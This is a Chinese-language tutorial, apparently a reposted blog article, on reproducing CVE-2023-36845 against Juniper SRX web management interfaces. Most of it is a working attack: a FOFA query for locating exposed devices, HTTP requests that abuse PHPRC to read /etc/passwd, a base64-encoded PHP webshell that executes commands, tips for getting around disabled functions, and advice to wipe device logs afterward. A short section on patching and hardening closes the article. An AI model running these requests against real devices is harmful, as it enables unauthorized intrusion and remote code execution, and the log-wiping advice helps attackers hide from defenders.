当前位置: 首页 > news >正文

手把手教你复现Juniper SRX的CVE-2023-36845漏洞(附EXP与FOFA语法)

从零实战:Juniper SRX设备CVE-2023-36845漏洞深度解析与安全验证

当你第一次听说Juniper SRX系列设备存在任意文件读取漏洞时,是否和我一样既兴奋又忐忑?兴奋的是这可能是进入网络安全实战的一个绝佳案例,忐忑的是面对复杂的设备环境和晦涩的技术文档不知从何下手。本文将带你以渗透测试新手的视角,用最接地气的方式完成整个漏洞复现过程。

1. 漏洞背景与环境准备

Juniper Networks作为企业级网络设备的主要供应商,其SRX系列安全设备广泛应用于各大组织的网络边界防护。2023年曝光的CVE-2023-36845漏洞影响特定版本的Web管理界面,允许攻击者通过精心构造的HTTP请求实现任意文件读取,进而可能升级为远程代码执行。

验证环境准备清单

  • 测试用Juniper SRX设备(版本确认受影响)或合法授权的测试目标
  • Kali Linux或其它渗透测试发行版
  • Burp Suite或Postman用于HTTP请求构造
  • 基础的Linux命令行操作能力

重要提示:所有测试必须在自己拥有合法权限的设备上进行,或在获得明确授权的情况下开展。未经授权的测试可能违反法律法规。

2. 目标识别与信息收集

在正式开始漏洞验证前,我们需要先确认目标设备是否运行了存在漏洞的软件版本。最直接的方式是通过Web界面的特征进行识别。

FOFA搜索引擎查询语法

title="Juniper Web Device Manager"

这个查询会返回互联网上所有公开暴露的Juniper Web管理界面。在实际操作中,我建议添加更多过滤条件以缩小范围:

title="Juniper Web Device Manager" && country="CN" && after="2023-01-01"

目标验证步骤

  1. 访问目标设备的Web管理界面(通常为https://目标IP)
  2. 查看页面底部或登录页面的版本信息
  3. 确认是否在受影响版本范围内

3. 漏洞原理与利用分析

CVE-2023-36845的核心问题出在PHP环境配置的不当处理上。攻击者可以通过特殊的PHPRC参数注入,控制PHP的运行时配置,从而实现任意文件包含。

漏洞利用关键点

  • 通过PHPRC=/dev/fd/0参数指定配置文件从标准输入读取
  • 在POST数据中注入PHP配置指令
  • 利用auto_prepend_file实现文件包含

基础利用请求结构

POST /?PHPRC=/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 33 auto_prepend_file="/etc/passwd"

这个请求会尝试读取目标系统的/etc/passwd文件内容。在实际测试中,我发现响应时间会明显变长(约5-10秒),这是判断漏洞是否存在的一个重要指标。

4. 从文件读取到远程代码执行

单纯的任意文件读取已经足够危险,但我们可以进一步利用这个漏洞实现远程命令执行。这需要将攻击分为两个阶段:

4.1 准备阶段:启用危险PHP配置

首先需要修改PHP配置,允许通过data://协议包含外部数据:

POST /?PHPRC=/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 92 allow_url_include=1 auto_prepend_file="data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="

这个请求做了两件事:

  1. 设置allow_url_include=1允许远程文件包含
  2. 通过base64编码注入一个简单的PHP webshell

4.2 执行阶段:发送命令并获取结果

配置成功后,可以通过简单的GET请求执行系统命令:

GET /?cmd=id HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close

这个请求会执行id命令并返回结果。在实际测试中,我发现命令输出有时会被截断,这时可以通过输出重定向到临时文件再读取的方式解决。

5. 实战中的常见问题与解决方案

在多次复现这个漏洞的过程中,我遇到了不少"坑",这里分享几个典型问题和解决方法:

编码问题

  • 命令中包含特殊字符时需要先进行URL编码
  • 多行命令可以通过;连接或使用base64编码后解码执行

执行限制

  • 某些系统函数可能被禁用,可尝试替代方案:
    • system()不可用时尝试shell_exec()
    • 直接执行失败可尝试写入webshell文件

网络环境

  • 目标设备可能位于防火墙后,需要调整超时时间
  • 内网环境可能需要设置代理

日志清理

  • Juniper设备会记录详细的访问日志
  • 测试完成后应清理相关日志条目

6. 防御建议与安全加固

作为安全研究人员,我们不仅要会攻击,更要懂得如何防御。针对这个漏洞,我总结了以下几点防护措施:

紧急缓解方案

  1. 立即升级到Juniper官方发布的最新固件版本
  2. 限制Web管理界面的访问来源IP
  3. 在防火墙规则中添加针对异常PHPRC参数的过滤

长期安全加固

  • 定期更新网络设备固件
  • 启用多因素认证
  • 关闭不必要的Web管理功能
  • 实施严格的网络访问控制策略

在最近一次企业安全评估中,我发现即使打了补丁,很多管理员仍使用弱密码或默认凭证,这给了攻击者可乘之机。安全是一个持续的过程,不能仅依赖补丁修复。

http://www.jsqmd.com/news/1096595/

相关文章:

  • 深入解析fullPage.js:从模块化架构设计到企业级全屏滚动解决方案
  • 像素级还原与微交互:从设计稿到代码的毫米级精度实践
  • 系统调用与字符设备驱动:从内核态切换到硬件交互的全链路实战
  • Agent可观测性工程:给AI装上仪表盘
  • 从草图到实体:探索BimAnt在线3D CAD的BRep内核与几何约束求解
  • STM32F103C8T6 ADC调试实战:从EOC标志位卡死到稳定采样的解决之道
  • 如何用ncmdump轻松解锁网易云音乐NCM加密格式:终极免费转换指南
  • 基于Unity 3D + C#实现的宗祠文化主题重阳节虚拟展馆交互漫游系统
  • PKHeX自动化合法性插件深度解析:技术原理与实战应用指南
  • 数据可视化实战:从“能看“到“一眼看懂“的看板设计
  • Steam游戏自动破解终极指南:3步搞定SteamStub解包与Goldberg模拟器应用
  • Claude_Code_Desktop_教程桌面版的安装和使用(最新附带图文教程)
  • 告别转圈圈:UiPath依赖项恢复失败的四大实战破解指南
  • 全栈自研闭环落地:拆解小鹏汽车 2026 年的物理 AI 技术跃迁路径
  • MySQL 全环境生产快速安装 + 完整配置手册(汇总精简版,便于学习查阅)
  • 架构解构与实战指南:5个维度深度剖析Pentaho Kettle数据处理系统
  • YOLOv5模型瘦身实战:用torch_pruning 0.2.7给你的检测模型‘减肥’(附完整代码)
  • Zotero-Better-Notes Markdown导入功能:实现学术笔记的无缝迁移与管理
  • 开源本地 AI 智能体 OpenClaw ,一键部署 + 故障全套解决方案
  • 别再让GPU闲着!用CUDA Streams实现数据传输与核函数执行的重叠(附代码示例)
  • 2026年巴南区口碑好的牙齿矫正牙科诊所:实用选择与评估要点
  • 如何免费快速获取全市场金融数据:AKShare终极指南
  • 未来健康商城:B2C+O2O模式解析
  • 终极批量水印工具:摄影师的高效照片水印处理解决方案
  • 2026白银黄金回收白银回收铂金回收旧料回收怎么选?五家高实价铂金白银线下门店测评清单 + 联系方式
  • SAP MTS策略10实战:从计划独立需求到物料分类账的端到端操作解析
  • 开关磁阻电机:从双凸极结构到智能控制,解锁高效驱动新范式
  • 2026年写论文还在手动调Word?这5款工具的真实差距大到离谱
  • Advanced XRay模组:Minecraft高效挖矿的终极解决方案
  • Windows 电脑重复文件怎么清理 按风险等级排序处理大文件占用